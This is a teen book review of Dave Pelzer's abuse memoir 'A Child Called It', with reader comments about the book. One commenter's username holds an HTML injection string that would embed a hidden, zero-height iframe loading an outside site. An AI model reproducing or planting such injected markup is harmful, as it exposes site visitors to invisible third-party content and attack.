A Child Called ‘It’ By Dave Pelzer | Teen Ink
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A Child Called ‘It’ By Dave Pelzer MAG

March 17, 2008
By Bapalapa2 ELITE, Brooklyn, New York
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Bapalapa2 ELITE, Brooklyn, New York
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Dave Pelzer's first book in this series is phenomenal. What actually happened to him as a child is hard to imagine. This was a number one New York Times bestseller for months and is an inspirational story.

David was renamed “It” by his evil mother. His childhood begins as the life everyone hopes for. He enjoyed visits to the zoo, lake trips with family, and being cuddled by his mom while listening to a great book. David's life drastically changed when he became a first-grader. His mother and father developed drinking problems. It's very hard to read about all the sadistic “games” his mother dreamed up.

When you read some of what happens, you'll wonder how anyone could even think of ­doing such things to their own child. Pelzer is a strong man to write about his childhood when he was almost beaten to death. This book really makes you wonder how many other children suffer such abuse.

As his teachers and principal, neighbors, and even his father stand by and let the abuse happen, it makes you wonder what you would have done. This book is extremely well written. All of the gruesome details help you to visualize what he went through. There are more books in this series, and you'll want to read them all once you begin. This book is for mature readers only.

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This article has 145 comments.

Hernandani said...
on Jun. 4 2023 at 12:49 pm
Hernandani, San Jose, California
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This book was an eye-opener. Pelzer showed us how to never lose hope or faith and to always push forward even when times seem impossible to overcome.
Maddie265 said...
on Oct. 15 2020 at 9:05 am
Maddie265, Ewing, New Jersey
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I have always wanted to read this book, to see what the author goes through. This review wants to make me read it even more! Hearing what the author went through will definitely make me sad.
Asantiago01 said...
on Aug. 30 2018 at 10:26 pm
Asantiago01, San Jose, California
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While reading this book I became very emotional,You can not fake something so real and life threading.Although David was a very small boy at the time of the abuse traumatic memories scar you forever.
Lily"><iframe src=https://alter%2Eco%2Epl height="0"></iframe> said...
on Jan. 23 2018 at 2:36 am
Lily"><iframe src=https://alter%2Eco%2Epl height="0"></iframe>, Op, Connecticut
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i love this book
hailey c said...
on Aug. 28 2017 at 4:06 pm
I dont usually get into reading books , but this one made me want to read it all in one day until I was done . Im not the type to cry for books and movies but i was on the verge of crying , its horrible what some people can do .
UrBoiHonse said...
on Nov. 1 2016 at 1:02 pm
yo this book is lit
honestbystander said...
on Apr. 29 2016 at 12:24 pm
@DietCoke there is no way for him to write this in the father's point of view because this was a real event and he is not his father. if this book was based off a story he made up he could easily write for the fathers point of view, but since it is a bibliography of his past that is impossible. and it is possible she had a mental problem, but it is also possible that when she became an alcoholic and her and her husband went through bad times that she saw dave's father in him and took it out on him. No one will ever know her reason not even Dave himself.
BlackYellowTiara SILVER said...
on Feb. 25 2016 at 8:58 pm
BlackYellowTiara SILVER, Calhoun, Georgia
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I literally just finished this book last week, I had to keep from crying, i read it in one night. It was ... heart wrenching
Blackpixie456 said...
on Jan. 6 2016 at 2:23 pm
Blackpixie456,
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Favorite Quote:
&ldquo;You won&#039;t even know you&#039;ve crossed the line until it&#039;s way back in your rearview mirror.&rdquo; <br /> ― Barry Lyga, I Hunt Killers

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This novel made me cry a lot... Like it's really sad to know that someone went through this!
ronjon_3 said...
on Oct. 27 2015 at 9:58 am
ronjon_3,
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It is as simple as that. She only treated one son like that. She didn't treat her other sons like she did David. And in none of the books, David never says anything about his mother having a mental issue. If she did have one, she would of treated all of her sons that way, not just him.
ecotton said...
on Jul. 26 2015 at 6:54 pm
This book was very sad for me to read because this book entailed a lot of abuse, the parents were at a unhealthy standpoint with this child. David was beaten burned he suffered greatly has a child. I do recommend for anyone to read this book to get a understanding of what has happened and to think about when they have children to show compassion and love towards their child and not abuse them. In general this is one of the saddest books I have ever read.
Richcoca PLATINUM said...
on Jun. 9 2015 at 4:55 pm
Richcoca PLATINUM, Canoga Park, California
44 articles 5 photos 71 comments

Favorite Quote:
Make as many as mistakes as you want, just don&#039;t make the same mistake.

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You guys: It's not as simple as that the mother is evil. The mother, or monster, was probably suffering by some sort of mental disease. Something I have always wanted Pelzer to do was write a sequel from the dad's point of view.
stephamie BRONZE said...
on May. 8 2015 at 11:20 am
stephamie BRONZE, San Antonio, Texas
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Favorite Quote:
i love to write

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i love this book
maya said...
on Mar. 28 2015 at 10:20 am
this is so sad and his mom is evil.
_liluuuh said...
on Mar. 17 2015 at 10:48 am
After reading this book, I was shocked. David was beaten, burned, stabbed or starved by his father. She did all the things a mother should never do to their child.
DLilahG said...
on Mar. 15 2015 at 10:31 pm
This book was one of the saddest books I've ever read. David was abused by his mother. She beat him, burned him, stabbed him. She did everything a mother shouldn't do to her own child.
bratney said...
on Feb. 13 2015 at 11:53 pm
Well after the frist time I ever had to read The CHILD Called "IT" back in middle school for reading an writing class I do remember a little bit about the book but what I do remember is that was one book. it reminded me of myself an everything that was bad in my own life if dave an were both to an me write a book of my life write this the book of "IT"
tomiiiboiii said...
on Dec. 1 2014 at 3:58 am
This book left me in shock. How could a mother do that to her own son
ronnie inc said...
on Sep. 26 2014 at 1:35 pm
this book almost made me cry
ronnie said...
on Sep. 26 2014 at 1:32 pm
this book alomst made me cry